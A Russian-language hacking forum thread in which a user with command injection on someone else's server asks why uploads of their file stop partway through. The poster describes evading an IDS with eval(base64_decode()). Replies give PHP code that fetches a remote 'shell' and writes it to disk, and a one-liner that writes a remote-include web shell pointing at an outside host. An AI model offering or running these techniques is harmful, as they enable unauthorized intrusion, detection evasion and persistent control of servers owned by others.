Здраствуйте, Вобщем на одном серве, вероятно, стоит IDS, либо любой "другой ИИ", обрубающий коннект при всяких пошлых запросах типа index.php?iop=ls%20-la. обойти его оказалось просто - примерно такой конструкцией, eval(base64_decode()). Но вот проблема, не могу корректно загрузить на серв что мне нужно, т.е. wget, curl работают и даже загружают, но не весь файл а только РОВНО 62848 байт. попробовал PHP'ой функцией copy - результат тот же, тоже льет но не больше чем 62848 байт. Пробовал закачать 62848, затем докачать - не работает. в phpinfo() аплод разрешен и размер макс. аплода не превышает объема моего файла. Подскажите у кого есть какие мысли по этой проблеме и возможное решение. Спасибо.
Аплоад может быть ограничен в конфиге виртуального хоста, а не в самом php.ini... А что тебе мешает разбить файл на части, скачать по частям, а потом copy a+b+c?
а если такой вариант: PHP: $data=@implode('',file('http://shell')); //и дальше записать в файл?--> $fp=@fopen('./local/file.php','wb'); @fputs($fp,$data); @fclose($fp);
спасибо, попробую, я еще думаю попробовать читать маленькими блоками, спасибо за решение. но хотелось бы выяснить - источник проблемы
хм, все перепробовал, всякие конструкции, каждый день меняется размер скачиваемого файла, от 6-20 кб, не больше - вобще жесть. хз уже что делать
А такой вариант, что на винте место квотой для этого юзера ограничено не рассматриваешь? Я как то тоже полночи Ивана-потрошителя ставил.. А всего навсего место на винте закончилось=(
эммм, хватит извращаться и лить что либо ) пробни обычный удал.инклуд. в eval echo '<?@include("http://gbl.nightmail.ru/rst.php";?>' > shell.php